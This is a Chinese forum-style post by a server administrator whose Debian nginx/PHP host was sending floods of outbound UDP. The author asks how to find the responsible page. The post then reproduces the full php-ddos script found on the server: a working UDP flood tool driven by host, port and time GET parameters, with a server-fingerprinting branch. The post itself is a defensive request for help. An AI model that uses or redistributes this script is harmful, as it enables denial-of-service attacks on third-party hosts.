当前位置: > 网络安全 > 云安全 >

服务器疯狂发包

时间:2016-05-25 22:33来源:linux.it.net.cn 作者:IT
我们有一台debina 5.0的系统,运行的nginx+php等等,跑了几十个php的网站

最近出现了一个问题,服务器疯狂像外发包,貌似是在ddos攻击别人,抓包发现这些数据都是使用udp连接目标地址的80,或者53等常见端口,每次把服务器的带宽完全占完。但只要把php重启下(php是cgi模式运行的)重启下,流量马上就下来了,攻击程序应该是php-ddos,重启php的时候,程序被迫停止掉了,流量也就下来了。

在网上查了下资料,很多类似的php-ddos的程序,有的甚至只有一个php的页面,上传到服务器后,访问这个页面,只要写入要攻击的ip地址,端口,时间,就开始攻击了。。我们的这台服务器,应该就是这样类似的模式。

目前使用iptables不允许服务器向外发送udp数据包(这是没有办法的办法),但这个不长久之计,虽然数据包发送不出去了,但是发包程序还在工作,导致服务器的负载非常高,常常出现负载过高而宕机。

请教大家,如何能查出来是那个页面在发送数据包? 或者有什么办法,彻底解决这个问题?



我把攻击的页面代码贴出来,给大家参考下。
  1. <?php
  2. set_time_limit(999999);
  3. $host = $_GET['host'];
  4. $port = $_GET['port'];
  5. $exec_time = $_GET['time'];
  6. $Sendlen = 65535;
  7. $packets = 0;
  8. ignore_user_abort(True);
  9.  
  10. if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
  11.         if (StrLen($_GET['rat'])<>0){
  12.                 echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
  13.                 exit;
  14.             }
  15.         echo "Warning to: opening";
  16.         exit;
  17.     }
  18.  
  19. for($i=0;$i<$Sendlen;$i++){
  20.         $out .= "A";
  21.     }
  22.  
  23. $max_time = time()+$exec_time;
  24. //提示: www.haoddos.com 是骗子 请谨慎。
  25. while(1){
  26.     $packets++;
  27.     if(time() > $max_time){
  28.         break;
  29.     }
  30.     $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
  31.         if($fp){
  32.             fwrite($fp, $out);
  33.             fclose($fp);
  34.     }
  35. }
  36.  
  37. echo "Send Host:$host:$port<br><br>";
  38. echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
  39. echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
  40. ?>


(责任编辑:IT)
------分隔线----------------------------